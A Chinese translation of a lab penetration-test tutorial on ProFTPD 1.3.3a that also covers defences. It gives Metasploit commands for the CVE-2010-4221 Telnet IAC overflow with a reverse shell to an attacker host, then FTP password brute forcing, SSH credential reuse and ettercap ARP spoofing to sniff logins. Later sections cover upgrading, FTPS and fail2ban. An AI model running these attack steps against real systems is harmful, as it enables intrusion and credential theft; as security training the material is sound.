zoukankan      html  css  js  c++  java
  • FTP渗透测试

    在这篇文章中,我们将学习如何在CentOS机器配置ProFTPD的服务。之后,我们将进行渗透测试,以评估FTP服务的安全性,那么我们也将学习漏洞的对策。

    在CentOS Linux机器的安装和配置FTP服务

    [1] ProFTPD的源代码库的ProFTPD的服务器(1.3.3a)旧版本的源代码下载,位于ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2.

    image001

    image002

    使用的命令是没有hash签名的Proftpd(2011年)

    # cd/usr/local/src

    # wget -c ‘ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3a.tar.bz2’

    [2]对于开发库和编译器的源代码编译,需要安装CentOS的机器上。他们安装使用下面的命令(ProFTPD,2013年):

    # yum -y groupinstall ‘Development tools’

    [3] ProFTPD服务器出于安全原因,作为一个非特权用户在Linux系统上运行。A组被称为ftpd的创建,然后被称为ftpd的用户也创造了属于的ftpd组。使用下面的命令:

    使用用命令 作用

    Groupadd ftpd 创建一个新组名为ftpd的属于/ etc / group文件。

    useradd -G ftpd ftpd 创建一个新的用户名为ftpd,-G参数指定ftpd作为其主组,同事隶属于/ etc / passwd文件。

    [4]一旦被添加用户和组的ftpd,下一步是编译源代码的PROFTP服务器,以产生的ProFTPD的二进制,支持FTP(文件传输协议)。使用下面的命令来实现这一点(ProFTPD,2011):

    使用用命令 作用

    cd /usr/local/src 使用CD命令进入/usr/local/src目录下

    tar -jxf proftpd-1.3.3a.tar.bz2 使用tar –jxf参数解压proftpd-1.3.3a.tar.bz2归档文件

    cd proftpd-1.3.3a 使用CD命令进入proftpd-1.3.3a文件夹

    image003

    命令(续) 作用
    install_user=ftpdinstall_group=ftpd ./configure–prefix=/usr

    –sysconfdir=/etc

    该命令运行一个shell脚本,称为当前目录中的配置。这个脚本会检查的构建依赖和机器架构上的软件编译。该命令的主要任务是生成一个文件名为“Makefile文件。”“Makefile”文件包含读取make命令编译和安装指示。该install_user和install_group命令指示的用户和组的配置实用程序使用的ProFTPDare ftpd和ftpd的分别。prefix= / USR表示配置实用程序的二进制文件应该被安装在/ usr目录,而不是/ usr / local目录下(默认)下。最后,SYSCONFDIR=/ etc表示configure脚本配置文件应安装在/ etc目录中。
    Make 该命令编译的二进制文件按装在Makefile中的表示。
    make install 此命令安装编译好的二进制文件,其中包括名为proftpd的ProFTPD的守护进程。

    image004

    [5]一旦被编译的二进制文件,proftpd的位置被发现使用下面的命令:

    # which proftpd

    该版本也被选中使用下面的命令:

    #/usr/sbin/proftpd –v

    image005

    [6] ProFTPD服务器的主要配置文件,称为proftpd.conf中,这是位于/ etc,使用vi编辑器编辑。最终的配置文件看起来像下面这样。配置大量(注释#符号开始)的解释:

    image006

    同一个文件的配置指令,开始<Anonymous ~ftp>结束 </Anonymous> ,它里面的所有指令被注释掉(通过把一个hash符号前面的配置)禁用匿名FTP服务ProFTPD服务器。

    image007

    最终的配置文件,只允许本地Linux账户/用户(通过/ etc / passwd文件中定义的用户)和chroot到他们的主目录(限制),使他们无法摆脱该目录。

    [7]由于ProFTPD的守护进程配置为支持本地Linux账户和他/她的主目录为chroot用户,一个新的用户称为prithak密码,密码加入到Linux系统进行测试。使用下面的命令:

    # useradd prithak

    # passwd prithak(enter password prithak twice)

    同样,另一位用户名为丹尼尔也被添加到系统中。最后,现在我们系统上有以下的用户:

    用户名 密码

    prithak 1234qwer

    daniel 1a2b3c

    CHINTAN A1B2C3D4

    [8] PROFTP服务器(192.168.79.135)在调试模式下启动,并使用内置的Windows ftp命令访问Windows机器(192.168.79.1)。用户prithak(密码prithak)能够成功登录到ProFTPD服务器,并在同一时间生产ProFTPD服务器调试日志在标准输出上,确认登录的细节。

    ProFTPD的开始使用以下命令行选项:

    proftpd -n -d 4 -c /etc/proftpd.conf –ipv4

    选项如下:

    -N

    运行ProFTPD的进程在独立模式(必须配置在配置文件中),但没有背景的过程或解除它控制tty的。此外,所有输出(日志或调试消息)发送到stderr,而不是syslog机制。

    -D

    在调试模式下运行ProFTPD服务器。4个参数增加了冗长的日志4

    -C

    / etc / proftpd.conf中指示ProFTPD的守护程序读取配置文件位于/ etc / proftpd.conf中。

    -IPV4

    表示ProFTPD的守护进程只监听IPV4地址,即禁用IPV6(如果存在的话)。

    image008

    [9]要确保服务器上运行的PROFTP(192.168.79.135)开始,每次重新启动Linux的初始化脚本(init脚本)与源PROFTP被复制到:CentOS的INIT V(初始化系统V)脚本目录(/ etc / rc.d / init.d中)。然后脚本可执行文件。最后,使用chkconfig命令打开ProFTPD的服务

    # cp /usr/local/src/proftpd-1.3.3a/contrib/dist/rpm/proftpd.init.d /etc/rc.d/init.d/proftpd

    # chmod 775 /etc/rc.d/init.d/proftpd

    # chkconfig proftpd on

    侦查、踩点、漏洞利用

    [1]侦查和踩点

    每一个漏洞评估的第一步是要找到正在运行什么服务和版本的服务,这就是所谓的侦察和踩点。要完成此步骤应启动对目标机的一个端口扫描。nmap的端口扫描器,发起针对本机使用下列参数:

    root@bt:~# nmap -sS -PN -n -sV -sC 192.168.79.135

    image009
    Nmap扫描结果表明,远程机器上有两个开放的端口:22(SSH)和21(FTP)。此外,在远程机器上运行的FTP服务器的版本ProFTPD的1.3.3a的SSH是OpenSSH的5.3。此外,SSH服务器只支持SSH协议版本2.0。

    [2]缓冲区溢出攻击的ProFTPD 服务

    当已知的漏洞ProFTPD的1.3.3a在互联网上搜索,得到结果如下:

    image010

    该漏洞的“CVE-2010-4221”被认定影响ProFTPD的1.3.3.a,我们运行的版本。据分析,“ 多个基于栈的缓冲区溢出的pr_netio_telnet_gets功能在netio.cProFTPD的1.3.3c之前,允许远程攻击者执行任意代码通过涉及TELNET IAC转义字符(1)FTP的载体或(2 )FTPS服务器。

    image011

    类似的,CVE-2010-4221漏洞利用在互联网上搜索时,它会导致以下Metasploit exploit:“ProFTPD的1.3.2rc3 – 1.3.3b的Telnet IAC缓冲区溢出(Linux)的。”相同的截图如下所示

    image012

    要成功利用这个漏洞远程机器运行ProFTPD的易受攻击的版本,Metasploit在 Backtrack Linux系统中使用下列命令:

    root@bt:~# cd /opt/metasploit/msf3

    root@bt:/opt/metasploit/msf3# ./msfconsole

    image013

    ProFTPD的易受攻击版本上运行192.168.79.135该漏洞被加载,使用下面的命令(命令为红色):

    msf>use exploit/linux/ftp/proftp_telnet_iac

    msf exploit(proftp_telnet_iac) >set RHOST 192.168.79.135

    RHOST => 192.168.79.135

    msf exploit(proftp_telnet_iac) >set payload linux/x86/shell_reverse_tcp

    msf exploit(proftp_telnet_iac)> set LHOST 192.168.79.144

    LHOST => 192.168.79.144

    msf exploit(proftp_telnet_iac) >exploit –j

    Metasploit的命令 描述
    use exploit/linux/ftp/proftp_telnet_iac 加载当前文中提到的proftp_telnet_iac漏洞。
    set RHOST 192.168.79.135 攻击的目标主机,即被受攻击的机器的IP地址。
    set payload linux/x86/shell_reverse_tcp 将要执行的shellcode成功利用后。这里payload是可选择。payload 反向连接给攻击者,攻击成功后。漏洞应该连接的IP由LHOST参数设置。
    set LHOST 192.168.79.144 设置攻击者的IP地址。
    exploit –j 作为后台会话启动的漏洞。

    image014

    成功利用此漏洞的结果,获得反弹shell的192.168.79.135(PROFTP)的服务器。创建一个新的会话shell,使用Metasploit的控制台中的“session -l”命令可以列出。

    与会话交互,“session –i 1”命令。要检查的权限级别的用户谁触发了反弹shell,使用如下的命令:

    ID

    此命令输出的有效用户ID。输出显示,我们有uid和gid 0即root用户。

    WHOAMI

    此命令是用来输出当前用户的用户名称。这个命令的输出也证实了,我们访问的机器是root权限。

    因为我们有超级用户(root)的权限,我们也能够修改/ etc / shadow文件,其中包含了用户的各种系统中的密码哈希,只可读/可写的根用户。下面的截图显示的信息:

    image015

    [2]暴力破解密码攻击PROFTP服务器

    开始了对PROFTP服务器的密码暴力破解攻击,下面是由Python脚本写的。这个脚本试图暴力猜解用户prithak 、CHINTAN、daniel的密码。默认的密码文件附带bracktrack作为密码数据库文件。

    image016

    使用上面的Python脚本,成功暴力破解出FTP用户prithak CHINTAN,丹尼尔的密码。下面的截图显示获取的密码:

    image017

    由于大多数系统多个服务使用相同的用户名和密码,用户名和密码信息,从先前的攻击是用来对付SSH服务器运行在同一台服务器上。这种攻击也被称为“密码暴力猜解”(Harper,,2011)。密码破解攻击是成功的,上述凭证有效期为SSH登录。下面的截图显示在SSH成功​​登录:

    image018

    [3] ARP欺骗和密码嗅探攻击

    因为FTP协议发送用户名和密码以明文,它是容易受到密码嗅探攻击。在这种攻击中,以下IP机器涉及:

    192.168.79.135 PROFTP服务器(FTP服务器)

    192.168.79.144 Backtrack(攻击者)

    192.168.79.150的Windows XP(FTP客户端)

    下面的截图显示的ARP欺骗攻击之前推出的Windows XP主机地址解析协议表:

    image019

    由此可以看出,所有的主机具有与它们相关联的不同的MAC地址。现在,因为攻击者是在同一个局域网段作为FTP服务器和FTP客户端,它是可能的攻击者发动ARP欺骗攻击,使他可以坐在中间的FTP交流和嗅探密码。要做到这一点,攻击者的计算机上执行以下步骤:

    1、 启用IP转发给攻击者的机器,它可以在FTP服务器和FTP客户端之间通信。这是通过使用下面的命令:

    # echo 1 > /proc/sys/net/ipv4/ip_forward

    2、ettercap软件是被用来发起一个ARP欺骗攻击给192.168.79.150【Windows XP(FTP客户端)]和192.168.79.135 PROFTP的服务器(FTP服务器)。使用如下的命令:

    # ettercap –iface eth4 –text –quiet –mitmarp /192.168.79.150/ /192.168.79.135/

    image020

    3、下面的截图显示在Windows XP计算机上发起攻击之前和之后的ARP表:

    image021

    4、现在,当客户端登录到FTP服务器,ettercap软件来抓起密码并输出。

    image022

    image023

    防御措施

    [1]缓冲区溢出利用对策

    由于系统上运行的ProFTPD的版本较旧,最有效的对策是安装相同的软件的最新版本。另一种对策是安装FTP服务器更安全的版本,具有很好的安全追踪。pureftpd的服务器似乎比ProFTPD服务器有更好的安全追踪。

    应用对策,我们pureftpd的选择升级到最新版本。这是通过类似的步骤,后用来安装旧版本的ProFTPD的。所采用的步骤如下:

    ProFTPD服务器的运行版本停止使用下面的命令:

    # service proftpd stop

    进入它的源目录,并使用“卸载”命令,删除旧版本的ProFTPD服务器。

    # cd /usr/local/src/proftpd-1.3.3a

    # make deinstall

    ProFTPD的服务器的源代码最新版本的下载和使用md5sum命令来验证它的MD5校验。下面的屏幕截图显示了信息:

    image024

    ProFTPD的较新版本的编译和安装,使用下面的命令:

    # tar zxvf proftpd-1.3.5rc2.tar.gz

    # cd proftpd-1.3.5rc2

    # install_user=ftpdinstall_group=ftpd ./configure –prefix=/usr –sysconfdir=/etc –with-modules=mod_tls

    # make

    # make install

    [注:已解释所有这些命令及其用法已经安装了旧版本的ProFTPD的。mod_tls选项使FTP通过SSL / TLS(FTPS)协议的支持。]

    ProFTPD的版本检查时,它出来,ProFTPD的版本1.3.5rc2。

    image025

    最新版本的ProFTPD开始然后lsof命令是用来验证FTP服务器正在运行:

    image026

    它也可以使用以前使用相同的用户名和密码登录到FTP。这证明了确实是升级的FTP服务完美的工作。当先前使用相同的漏洞发起针对该ProFTPD服务器使用Metasploit的,它失败了。这验证服务已被修补。此外,在写作的时候,没有已知漏洞(本地或远程)ProFTPD服务器版本1.3.5-RC2,我们正在运行。

    image027

    [2]防范密码嗅探攻击

    可以保证FTP协议使用的FTP SSL(FTPS)协议。可以执行下面的步骤,使FTPS:

    1、生成的SSL / TLS证书使用OpenSSL工具与Linux(FALKO,2011):

    # mkdir /etc/ssl_certs/

    # opensslreq -new -x509 -days 730 -nodes -out

    /etc/ssl_certs/proftpd.cert.pem -keyout /etc/ssl_certs/proftpd.key.pem

    确保该证书有效期为730天,两年。

    image028

    2、ProFTPD服务器被配置为支持FTPS协议,通过编辑/etc/proftpd.conf中的配置文件。此外,明文FTP协议被禁止,和FTPS执行。ProFTPD的拒绝明文FTP连接。下面的屏幕截图显示了添加行注释和解释:

    image029

    3、一旦配置完成后,重新启动ProFTPD的守护进程,使用“service proftpd restart”命令。现在,当Windows 7内置在FTP.EXE客户端被用于使用明文FTP协议连接到服务器,服务器拒绝连接错误消息:

    “550 SSL/TLS required on the control channel.”

    image030

    4、为了测试登录,FileZilla的FTP客户端的安装和它能够成功登录到ProFTPD服务器使用SSL / TLS。然而,有关证书的警告讯息显示。这是由于这样的事实,该证书是自签名的。一旦证书被接受​​,在连续登录,没有任何错误。

    image031

    image032

    此外,用于FTP服务器的密码应该是保密性强。FTP用户应该有自己的shell更改为/bin/false,这会确保FTP用户将无法通过SSH,telnet或TTY会话登录。这样做是使用下面的命令:

    # chsh -s /bin/false prithak

    # chsh -s /bin/false daniel

    # chsh -s /bin/false chintan

    # echo /bin/false >> /etc/shells

    [3]防范密码暴力破解攻击

    为了防范密码暴力破解攻击,采取以下步骤:

    1、选择强密码和用户密码进行了升级。使用下面的命令:

    # passwd prithak(提示密码alj234wkjw 82jlk2133当输入两次)

    # passwdchitan( 当系统提示输入密码234aj%2] 32 [maere输入两次)

    # passwddaniel( 当系统提示输入密码; 8 @#%2./ere的$ * 0.0 *两次输入)

    2、Fail2ban的实用程序ProFTPD的系统上安装和配置。Fail2ban的实用程序可以检测和防止密码暴力破解攻击,通过阻断攻击者的IP地址(ES)。ProFTPD的日志(/var/log/secure)检查,并根据配置,自动插入iptables防火墙规则(次),以阻止违规的IP地址。采取以下步骤来安装和配置ProFTPD的fail2ban的:

    (1)、Fail2ban的安装使用以下命令(Selvaganeshan,2010):

    # wgethttp://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

    # rpm -ivh epel-release-6-8.noarch.rpm

    # yum install -y fail2ban

    (2)、/ etc/fail2ban/jail.conf文件编辑和以下参数改变(Selvaganeshan,2010):

    bantime = 600

    maxretry = 4

    bantime定义的秒数来阻止攻击者的IP和的maxretry参数是允许的IP被封锁之前的错误数。因此,在这种情况下,如果任何一个IP有四个以上的失败的登录,是被禁止的。同样,监测ProFTPD的日志也被启用在“proftpd的iptables的”部分:

    image033

    然后重新启动fail2ban的服务使用下面的命令:

    # /etc/init.d/fail2ban restart

    起初,没有IP地址被fail2ban iptables协助。 默认规则集的fail2ban-ProFTPD链是空的,如下所示:

    image034

    当FTP密码暴力破解攻击进行IP地址192.168.79.222(backtrack)在ProFTPD服务器(192.168.79.135),检测到的攻击,攻击者的IP地址被阻塞:

    image035

    iptables的规则来阻止fail2ban的插入IP 192.168.79.222下文重点介绍:

    image036

    结论

    从源代码安装ProFTPD的服务器,并使用缓冲区溢出漏洞攻击,密码嗅探和密码蛮力攻击。此外,服务是固定使用强制SSL / TLS证书和Fail2ban的入侵检测系统,并升级到最新版本的服务。

    本文有小安攻防研究室翻译,如有翻译错误请联系管理员纠正,转载请注明地址谢谢。

    原文:http://resources.infosecinstitute.com/penetration-testing-of-an-ftp-service/

    参考:

    http://openmaniak.com/ettercap.php

    http://www.howtoforge.com/setting-up-proftpd-tls-on-debian-squeeze.

    http://www.proftpd.org/docs/howto/Compiling.html

  • 相关阅读:
    windows 10 上源码编译opengv | compile opengv on windows 10 from source
    ubuntu 16.04上源码编译libjpeg-turbo和使用教程 | compile and use libjpeg-turbo on ubuntu 16.04
    c 时间 学习
    cap文件的格式说明
    C#调用C++
    c/c++基础 const
    tomcat 简单安装配置说明
    言论
    近期任务
    解决mysql从windows迁移到centos出现乱码问题
  • 原文地址:https://www.cnblogs.com/sideny/p/3336640.html
Copyright © 2011-2022 走看看